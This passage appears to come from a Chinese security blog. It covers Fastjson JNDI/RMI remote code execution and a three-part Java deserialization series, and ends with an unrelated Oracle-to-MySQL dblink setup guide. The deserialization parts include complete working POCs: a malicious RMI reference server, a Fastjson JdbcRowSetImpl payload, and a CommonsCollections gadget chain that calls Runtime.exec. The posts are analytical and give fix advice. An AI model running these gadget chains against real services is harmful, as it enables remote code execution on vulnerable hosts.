4、当远程调用类的时候默认会在rmi服务器中的classpath中查找,如果不存在就会去url地址去加载类。如果都加载不到就会失败。

POC

public class JNDIServer {
    public static void start() throws
            AlreadyBoundException, RemoteException, NamingException {
        //在本机1099端口开启rmi registry
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Exloit",
                "Exploit","http://127.0.0.1:8088/");
        //第二个参数指定 Object Factory 的类名 第三个参数是codebase 如果Object Factory在classpath 里面找不到则去codebase下载
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);

    }
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        start();
    }
}

这里可以知道,当我们远程连接时它会先在classpath中找,如果没有会在我们指定的地址中去加载去实现factory的初始化

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("open /Applications/Calculator.app");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

将Exploit生成的class文件放到web目录下
然后将我们的客户端lookup的地址指向刚才我们创建的RMI服务从而达到代码执行

System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");
Context ctx = new InitialContext();
Object obj = ctx.lookup("Exploit");

所以说整个攻击流程为
受害者JNDI–>攻击者RMI服务–>受害者JNDI加载web服务中的恶意class–>受害者执行其构造方法

基于JdbcRowSetImpl的POC分析

public class SomeFastjsonApp {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    public static void testJdbcRowSetImpl(){
        //JDK 8u121以后版本需要设置改系统变量
        //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //RMI 方式
        String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
                " \"autoCommit\":true}";
        JSONObject.parseObject(payload2);
    }
}

在反序列化过程中会设置dataSourceName属性,这个是其父类BaseRowSet继承过来的。

public void setDataSourceName(String var1) throws SQLException {
        if(this.getDataSourceName() != null) {
            if(!this.getDataSourceName().equals(var1)) {
                String var2 = this.getDataSourceName();
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
                this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
            }
        } else {
            super.setDataSourceName(var1);
            this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);
        }

    }

设置autoCommit属性

public void setAutoCommit(boolean var1) throws SQLException {
        if(this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }

其中触发connect方法

protected Connection connect() throws SQLException {
        if(this.conn != null) {
            return this.conn;
        } else if(this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
        }
    }

这里关键的可以看到

InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

这里可以发现其实例化了InitialContext并且调用了lookup方法,又因为其getDataSourceName为我们之前set的dataSourceName也就是攻击者的RMI服务,最终造成任意代码执行
效果如下
屏幕快照 2018-07-13 下午7.51.44

修复建议

升级旧版本Fastjson
影响范围:1.2.24及之前版本
安全版本:>=1.2.28

参考资料

http://www.freebuf.com/vuls/115849.html
https://paper.seebug.org/417/
http://xxlegend.com/2017/12/06/基于JdbcRowSetImpl的Fastjson%20RCE%20PoC构造与分析/
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf

探秘Java反序列化漏洞三:CommonsCollections反序列化漏洞分析

通过前两篇文章,我们已经明白了序列化与反序列化的过程,事实上反序列化漏洞简单来说就是应用在对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行
要说Java反序列化漏洞,最经典的可能就是Apache CommonsCollections,由于其为Apache开源项目的重要组件,所以使用量非常大,从而影响了大量Java Web Server,这个漏洞横扫当时WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版,可以说对于反序列化安全有着重要意义

漏洞分析

org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架
首先我们先来看其调用链

AnotationInvocationHandler.readObject()
     Map(Proxy).entrySet()
          AnotationInvocationHandler.invoke()
               members(LazyMap).get()
                    ChainedTransformer.transform()
                         ConstantTransformer.transform()
                              Runtime.class
                         InvokerTransformer.transform()
                              getMethod("getRuntime",new Class[]{})
                         InvokerTransformer.transform()
                              invoke(null,new Object[]{})
                         InvokerTransformer.transform()
                              exec("calc")

该漏洞问题主要出现在org.apache.commons.collections.Transformer接口

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

可以看到该接口调用了一个方法transform其作用是为了给定一个Object对象经过转换后同时也返回一个Object
在其实现类中我们主要跟进InvokerTransformerConstantTransformerChainedTransformer
屏幕快照 2018-07-11 下午8.58.59
1.InvokerTransformer
可以看到其中属性为典型的反射格式:方法名,方法参数,实参

屏幕快照 2018-07-11 下午9.01.18
我们来看其transform(Object input)如下

public Object transform(Object input) {
        if(input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

可以看到该方法中采用了反射的方法进行函数调用,而重点是这里的三个属性都为我们的可控参数
2.ConstantTransformer

public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
}

public Object transform(Object input) {
    return this.iConstant;
}

该方法返回iConstant属性,该属性也为可控参数
3.ChainedTransformer
这是一个利用的关键类

public static Transformer getInstance(Transformer[] transformers) {
        FunctorUtils.validate(transformers);
        if(transformers.length == 0) {
            return NOPTransformer.INSTANCE;
        } else {
            transformers = FunctorUtils.copy(transformers);
            return new ChainedTransformer(transformers);
        }
    }

可以看到,其构造方法中接收了Transformer数组,接下来

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

这个比较有意思,可以看出它使用了for循环来调用Transformer数组的transform方法,并且使用了object作为后一个调用transform方法的参数
也就是说我们现在可以通过结合上述三种方法来实现之前弹出计算器的操作

Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {
                String.class }, new Object[] {"open /Applications/Calculator.app"})};

Transformer transformedChain = new ChainedTransformer(transformers);

屏幕快照 2018-07-11 下午10.00.12

根据我们开始给出的调用链可以知道LazyMap(实现了Map接口)其中(当然也有其他的)调用了transform方法

public Object get(Object key) {
        if(!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

在上述代码中会判断当前Map中是否已经有该key,如果没有会交给factory.transform来处理
facory初始化是通过下方代码来完成

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }
protected LazyMap(Map map, Transformer factory) {
        super(map);
        if(factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }

所以说,我们为了调用transform方法,需要找到LazyMap并调用其get方法。也就是说,我们需要在对象进行反序列化时调用我们精心构造对象的get方法,而如何能在反序列化时触发LazyMapget方法,这时候我们就要利用sun.reflect.annotation.AnnotationInvocationHandler类(JDK1.7)
我们先来看下其结构
屏幕快照 2018-07-11 下午11.28.06

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    private transient volatile Method[] memberMethods = null;

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if(var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

该类实现了序列化接口,同时其中typememberValues可控
接着往下看readObject方法,这里的memberValues是我们通过构造AnnotationInvocationHandler构造函数初始化的变量,也就是我们构造的LazyMap对象

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if(var7 != null) {
                Object var8 = var5.getValue();
                if(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

可以看到在readObject方法中并未找到LazyMapget方法,但是我们发现在invoke方法中memberValues.get(Object)被调用
屏幕快照 2018-07-11 下午11.57.19

这里比较强,在看大佬的POC时发现使用的是动态代理方式构造,因为AnnotationInvocationHandler实现了InvocationHandler接口,所以我们可以使用newProxyInstance(ClassLoader loader,Class<?>[]interfaces,InvocationHandler h)生成动态代理,这样在调用对象的时候就会调用InvocationHandler.invoke方法从而执行我们想要的get方法,最终成果执行恶意代码

POC

public class CCPoc {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
            IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{
                        String.class}, new Object[]{"open /Applications/Calculator.app"})};

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);

        //设置代理
        Class[] interfaces = new Class[]{java.util.Map.class};
        Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
        InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);

        System.out.println("Saving serialized object in test.ser");
        FileOutputStream fos = new FileOutputStream("test.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(handlerProxy);
        oos.flush();


        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser"));
        Object s = ois.readObject();
        ois.close();
    }

}

屏幕快照 2018-07-12 上午1.36.23

总结

攻击调用链
cc攻击链-2

通用解决方案

更新Apache Commons Collections库
  Apache Commons Collections在 3.2.2版本开始做了一定的安全处理,新版本的修复方案对相关反射调用进行了限制,对这些不安全的Java类的序列化支持增加了开关。

NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller
  lib地址:https://github.com/ikkisoft/SerialKiller
  下载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller
  之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。

参考资料

https://www.cnblogs.com/ssooking/p/5875215.html
https://www.anquanke.com/post/id/82934
https://paper.seebug.org/312/

探秘Java反序列化漏洞二:反序列化过程分析

这里我们会主要分析自定义反序列化时readObject是如何被调用的

反序列化流程

在反序列化时我们会调用readObject方法,那么其中的执行又经过了哪些过程呢?
首先ObjectInputStream(InputStream in)有参构造方法设置enableOverride = false

public ObjectInputStream(InputStream in) throws IOException {
        verifySubclass();
        bin = new BlockDataInputStream(in);
        handles = new HandleTable(10);
        vlist = new ValidationList();
        serialFilter = ObjectInputFilter.Config.getSerialFilter();
        enableOverride = false;
        readStreamHeader();
        bin.setBlockDataMode(true);
    }

所以readObject会执行readObject0(false)

public final Object readObject()
        throws IOException, ClassNotFoundException
    {
        if (enableOverride) {
            return readObjectOverride();
        }

        // if nested read, passHandle contains handle of enclosing object
        int outerHandle = passHandle;
        try {
            Object obj = readObject0(false);
            handles.markDependency(outerHandle, passHandle);
            ClassNotFoundException ex = handles.lookupException(passHandle);
            if (ex != null) {
                throw ex;
            }
            if (depth == 0) {
                vlist.doCallbacks();
            }
            return obj;
        } finally {
            passHandle = outerHandle;
            if (closed && depth == 0) {
                clear();
            }
        }
    }

由此进入readObject方法

private Object readObject0(boolean unshared) throws IOException {
        boolean oldMode = bin.getBlockDataMode();
        if (oldMode) {
            int remain = bin.currentBlockRemaining();
            if (remain > 0) {
                throw new OptionalDataException(remain);
            } else if (defaultDataEnd) {
                /*
                 * Fix for 4360508: stream is currently at the end of a field
                 * value block written via default serialization; since there
                 * is no terminating TC_ENDBLOCKDATA tag, simulate
                 * end-of-custom-data behavior explicitly.
                 */
                throw new OptionalDataException(true);
            }
            bin.setBlockDataMode(false);
        }

        byte tc;
        while ((tc = bin.peekByte()) == TC_RESET) {
            bin.readByte();
            handleReset();
        }

        depth++;
        totalObjectRefs++;
        try {
            switch (tc) {
                case TC_NULL:
                    return readNull();

                case TC_REFERENCE:
                    return readHandle(unshared);

                case TC_CLASS:
                    return readClass(unshared);

                case TC_CLASSDESC:
                case TC_PROXYCLASSDESC:
                    return readClassDesc(unshared);

                case TC_STRING:
                case TC_LONGSTRING:
                    return checkResolve(readString(unshared));

                case TC_ARRAY:
                    return checkResolve(readArray(unshared));

                case TC_ENUM:
                    return checkResolve(readEnum(unshared));

                case TC_OBJECT:
                    return checkResolve(readOrdinaryObject(unshared));

                case TC_EXCEPTION:
                    IOException ex = readFatalException();
                    throw new WriteAbortedException("writing aborted", ex);

                case TC_BLOCKDATA:
                case TC_BLOCKDATALONG:
                    if (oldMode) {
                        bin.setBlockDataMode(true);
                        bin.peek();             // force header read
                        throw new OptionalDataException(
                            bin.currentBlockRemaining());
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected block data");
                    }

                case TC_ENDBLOCKDATA:
                    if (oldMode) {
                        throw new OptionalDataException(true);
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected end of block data");
                    }

                default:
                    throw new StreamCorruptedException(
                        String.format("invalid type code: %02X", tc));
            }
        } finally {
            depth--;
            bin.setBlockDataMode(oldMode);
        }
    }

可以看到在改方法中开始分析我们序列化的内容,在switch中我们可以与之前分析的序列化后结构一一对应,其对应字节数据位于ObjectStreamConstants接口中
屏幕快照 2018-07-10 下午9.55.45
在上述代码中我们主要关注的是TC_OBJECT,其执行的方法是:checkResolve(readOrdinaryObject(unshared))–>readOrdinaryObject方法代码如下

 private Object readOrdinaryObject(boolean unshared)
        throws IOException
    {
        if (bin.readByte() != TC_OBJECT) {
            throw new InternalError();
        }

        ObjectStreamClass desc = readClassDesc(false);
        desc.checkDeserialize();

        Class<?> cl = desc.forClass();
        if (cl == String.class || cl == Class.class
                || cl == ObjectStreamClass.class) {
            throw new InvalidClassException("invalid class descriptor");
        }

        Object obj;
        try {
            obj = desc.isInstantiable() ? desc.newInstance() : null;
        } catch (Exception ex) {
            throw (IOException) new InvalidClassException(
                desc.forClass().getName(),
                "unable to create instance").initCause(ex);
        }

        passHandle = handles.assign(unshared ? unsharedMarker : obj);
        ClassNotFoundException resolveEx = desc.getResolveException();
        if (resolveEx != null) {
            handles.markException(passHandle, resolveEx);
        }

        if (desc.isExternalizable()) {
            readExternalData((Externalizable) obj, desc);
        } else {
            readSerialData(obj, desc);
        }

        handles.finish(passHandle);

        if (obj != null &&
            handles.lookupException(passHandle) == null &&
            desc.hasReadResolveMethod())
        {
            Object rep = desc.invokeReadResolve(obj);
            if (unshared && rep.getClass().isArray()) {
                rep = cloneArray(rep);
            }
            if (rep != obj) {
                // Filter the replacement object
                if (rep != null) {
                    if (rep.getClass().isArray()) {
                        filterCheck(rep.getClass(), Array.getLength(rep));
                    } else {
                        filterCheck(rep.getClass(), -1);
                    }
                }
                handles.setObject(passHandle, obj = rep);
            }
        }

        return obj;
    }

在代码中通过

Object obj;
try {
    obj = desc.isInstantiable() ? desc.newInstance() : null;
} catch (Exception ex) {
    throw (IOException) new InvalidClassException(
        desc.forClass().getName(),
        "unable to create instance").initCause(ex);
}

来判断对象的Class是否可以实例化,如果可以就创建它的实例desc.newInstance()
紧接着通过if-eles判断进入关键位置readSerialData(Object obj, ObjectStreamClass desc)(注:1.如果实现了Externalizable接口,是不会调用readSerialData方法的 2.这里的传入参数obj就是上面通过反射获得的构造函数进而构造出来的对象)

private void readSerialData(Object obj, ObjectStreamClass desc)
        throws IOException
    {
        ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout();
        for (int i = 0; i < slots.length; i++) {
            ObjectStreamClass slotDesc = slots[i].desc;

            if (slots[i].hasData) {
                if (obj == null || handles.lookupException(passHandle) != null) {
                    defaultReadFields(null, slotDesc); // skip field values
                } else if (slotDesc.hasReadObjectMethod()) {
                    ThreadDeath t = null;
                    boolean reset = false;
                    SerialCallbackContext oldContext = curContext;
                    if (oldContext != null)
                        oldContext.check();
                    try {
                        curContext = new SerialCallbackContext(obj, slotDesc);

                        bin.setBlockDataMode(true);
                        slotDesc.invokeReadObject(obj, this);
                    } catch (ClassNotFoundException ex) {
                        /*
                         * In most cases, the handle table has already
                         * propagated a CNFException to passHandle at this
                         * point; this mark call is included to address cases
                         * where the custom readObject method has cons'ed and
                         * thrown a new CNFException of its own.
                         */
                        handles.markException(passHandle, ex);
                    } finally {
                        do {
                            try {
                                curContext.setUsed();
                                if (oldContext!= null)
                                    oldContext.check();
                                curContext = oldContext;
                                reset = true;
                            } catch (ThreadDeath x) {
                                t = x;  // defer until reset is true
                            }
                        } while (!reset);
                        if (t != null)
                            throw t;
                    }

                    /*
                     * defaultDataEnd may have been set indirectly by custom
                     * readObject() method when calling defaultReadObject() or
                     * readFields(); clear it to restore normal read behavior.
                     */
                    defaultDataEnd = false;
                } else {
                    defaultReadFields(obj, slotDesc);
                    }

                if (slotDesc.hasWriteObjectData()) {
                    skipCustomData();
                } else {
                    bin.setBlockDataMode(false);
                }
            } else {
                if (obj != null &&
                    slotDesc.hasReadObjectNoDataMethod() &&
                    handles.lookupException(passHandle) == null)
                {
                    slotDesc.invokeReadObjectNoData(obj);
                }
            }
        }
            }

在进入readSerialData后经过一系列数据判断和查看是否有readObject方法后执行进入invokeReadObject(Object obj, ObjectInputStream in)并判断是否有readObjectMethod,如果有则执行readObjectMethod.invoke(obj, new Object[]{ in })反射调用我们自定义的readObject方法

根据上述过程分析,简单总结了一下关键流程,见下图
readObject-2
反序列攻击时序图(by:xxlegend)
SequenceDiagra

自定义反序列化来弹一个计算器

明白了上述分析的readObject过程,接下来我们通过重写readObject来自定义反序列化行为由此直接操作Runtime弹一个计算器

序列化

public class Ser implements Serializable{
    private static final long serialVersionUID = 1L;
    public int num=911;
    //重写readObject方法
    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
        in.defaultReadObject();//调用原始的readOject方法
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
        System.out.println("test");
    }
    public static void main(String[] args) {
        try {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
            Ser ser=new Ser();
            oos.writeObject(ser);//序列化关键函数
            oos.flush();  //缓冲流
            oos.close(); //关闭流
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}

(注:这里我们写的执行序列化的类同时为被序列化的类)

反序列化

public class DeSer{

    public static void main(String[] args) throws ClassNotFoundException, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.obj"));
        Ser s = (Ser) ois.readObject();
        System.out.println(s.num);
        ois.close();
    }
}

效果如下
屏幕快照 2018-07-10 下午10.18.43

风险

  1. 信息泄漏
  2. 数据篡改(伪造,拒绝服务)
  3. 命令执行

RCE前提

  • 数据未经过滤直接进入readObject
  • 存在可利用的反序列类
  • 常见触发点:

    readObject()
    readObjectNoData()
    readExternal()
    readResolve()
    validateObject()
    finalize()
    

参考资料

https://www.cnblogs.com/huhx/p/sSerializableTheory.html
https://blog.csdn.net/u014653197/article/details/78114041

探秘Java反序列化漏洞一:序列化与反序列化

最近在看Java反序列化漏洞方面的文章,感谢各位大佬的分享。由此做一个整理,并加入自己的理解。

序列化与反序列化

序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。一般将一个对象存储至一个储存媒介,例如档案或是记亿体缓冲等。在网络传输过程中,可以是字节或是XML等格式。而字节的或XML编码格式可以还原完全相等的对象。这个相反的过程又称为反序列化。
简单来说序列化是用于将对象转换成二进制串存储,而反序列化即为将二进制串转换成对象。
未命名文件-3

为什么要序列化

在运行Java中,我们会通过各种途径创建对象,这些对象事实上都是位于JVM的堆内存中,伴随着其运行而存在。一旦当JVM停止运行,这些对象的状态也就随之消失。在实际中,我们需要将这些对象持久下来并且在需要时候读出来,或者为了节省内存,这时候就需要使用序列化。
对象序列化机制(object serialization)是Java语言内建的一种对象持久化方式,通过对象序列化,可以把对象的状态保存为字节数组,并且可以在有需要的时候将这个字节数组通过反序列化的方式再转换成对象。对象序列化可以很容易的在JVM中的活动对象和字节数组(流)之间进行转换。

使用场景

  • http参数,cookie,sesion,存储方式可能是base64(rO0), 压缩后的base64(H4sl),MII等
  • Servlets HTTP,Sockets,Session管理器 包含的协议就包括 JMX,RMI,JMS,JNDI等(\xac\xed)
  • xml Xstream,XMLDecoder等(HTTP Body:Content- Type:application/xml)
  • json(Jackson,fastjson)http请求中包含

代码实现

相关接口及类

Java为了方便开发人员将Java对象进行序列化及反序列化提供了一套方便的API来支持。其中包括以下接口和类:

java.io.Serializable

java.io.Externalizable

ObjectOutput

ObjectInput

ObjectOutputStream

ObjectInputStream 

使用时可序列化的对象需要实现 java.io.Serializable 接口或者 java.io.Externalizable 接口。
以实现 Serializable 接口为例,Serializable 仅是一个标记接口,并不包含任何需要实现的具体方法。实现该接口只是为了声明该Java类的对象是可以被序列化的。实际的序列化和反序列化工作是通过ObjectOuputStream和ObjectInputStream来完成的。ObjectOutputStream 的 writeObject 方法可以把一个Java对象写入到流中,ObjectInputStream 的 readObject 方法可以从流中读取一个 Java 对象。在写入和读取的时候,虽然用的参数或返回值是单个对象,但实际上操纵的是一个对象图,包括该对象所引用的其它对象,以及这些对象所引用的另外的对象。Java 会自动帮你遍历对象图并逐个序列化。除了对象之外,Java 中的基本类型和数组也是可以通过 ObjectOutputStream 和 ObjectInputStream 来序列化的。

示例代码

序列化

public class Ser implements Serializable{
    private static final long serialVersionUID = 1L;
    public int num=911;
    public static void main(String[] args) {
        try {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
            Ser ser=new Ser();
            oos.writeObject(ser);//序列化关键函数
            oos.flush();  //缓冲流
            oos.close(); //关闭流
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}

可以看到,在序列化后当前目录下生成了一串二进制表示的字节数组文件object.obj
接下来我们执行反序列化读出其对象中的参数
反序列化

public class DeSer {
    public static void main(String[] args) throws ClassNotFoundException, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.obj"));
        Ser s = (Ser) ois.readObject();
        System.out.println(s.num);
        ois.close();
    }
}

屏幕快照 2018-07-10 上午11.07.56

存储格式

序列化的文件二进制字节数据如下图
屏幕快照 2018-07-10 上午11.19.01
1.序列化文件头

AC ED :STREAM_MAGIC声明使用了序列化协议
00 05 :STREAM_VERSION序列化协议版本
73 :TC_OBJECT声明这是一个新的对象

2.序列化类的描述 在这里是Ser类

72 :TC_CLASSDESC声明这里开始一个新的class
00 11 :class名字的长度是17个字节
63 6E 2E 72 75 69 30 2E 74 65 73 74 31 2E 53 65 72 :Ser的完整类名
00 00 00 00 00 00 00 01 :serialVersionUID,序列化ID,如果没有指定,则会由算法随机生成一个8字节的ID
02 :标记号,声明该类支持序列化
00 01:该类所包含的域的个数为1

3.对象中各个属性的描述

49 :域类型,49代表I,也就是int类型
00 03 :域名字的长度为3
6E 75 6D :num属性的名称

4.对象的父类信息描述

这里没有父类,如果有,则数据格式与第二部分一样

5.对象属性的实际值

如果属性是一个对象,那么这里还将序列化这个对象,规则和第2部分一样
00 00 03 8F :911的数值

当然我们也可以使用工具SerializationDumper来查看其结构
屏幕快照 2018-07-10 上午11.17.02

注意

  • 当父类实现了Serializable接口的时候,所有的子类都能序列化
  • 子类实现了Serializable接口,父类没有,父类中的属性不能被序列化(不报错,但是数据会丢失)
  • 如果序列化的属性是对象,对象必须也能序列化,否则会报错
  • 反序列化的时候,如果对象的属性有修改或则删减,修改的部分属性会丢失,但是不会报错
  • 在反序列化的时候serialVersionUID被修改的话,会反序列化失败
  • 在存Java环境下使用Java的序列化机制会支持的很好,但是在多语言环境下需要考虑别的序列化机制,比如xml,json,或则protobuf

参考资料

https://www.cnblogs.com/senlinyang/p/8204752.html
https://www.ibm.com/developerworks/cn/java/j-lo-serial/
http://www.hollischuang.com/archives/1150
http://xxlegend.com/2018/06/20/先知议题%20Java反序列化实战%20解读/

Oracle通过Dblink实现与Mysql交互

dblink(Database Link)数据库链接顾名思义就是数据库的链接,就像电话线一样,是一个通道,当我们要跨本地数据库,访问另外一个数据库表中的数据时,本地数据库中就必须要创建远程数据库的dblink,通过dblink本地数据库可以像访问本地数据库一样访问远程数据库表中的数据。


实验环境:

win8 64位

oracle11g

mysql5.7

准备:

dg4odbc

MYSQL-ODBC-5.X

实验步骤:

一.MYSQL ODBC 配置

1.开始菜单-oracle-配置和移植工具-ODBC管理员

2.系统DSN 创建新数据源

名称mysqlodbc

 

二.配置ORACLE透明网关

位置:%ORACLE_HOME%/hs/admin/

创建:init(数据库名).ora

这里我们使用initmysqllink.ora

内容:

 

三.配置TNSNAMES&LISTENER

tnsname.ora,连接端配置文件,主要内容是要访问的数据库的连接串的解释。也就是@后面的字符传的解释文件。这个主要出现的访问端(客户端),当然并不是说服务器端没有,因为服务器端也可以是访问端,比如服务器互相访问的dblink,以及服务器自己访问自己。类似于unix 的hosts文件,提供的tnsname到主机名或者ip的对应。

listener.ora,监听配置文件,接受远程对数据库的接入申请并转交给oracle的服务器进程。这个文件里面是监听的主要(重要)配置内容,也是监听在服务器端的主文件。

位置:%ORACLE_HOME%\NETWORK\ADMIN

1.tnsnames.ora增加

2.listener.ora SID_LIST_LISTENER增加

3.重启监听服务并检查是否正常

四.Oracle中创建Dblink连通Mysql

五.Oracle与Mysql进行交互

查询

插入

注意要commit

Mysql查询

添加成功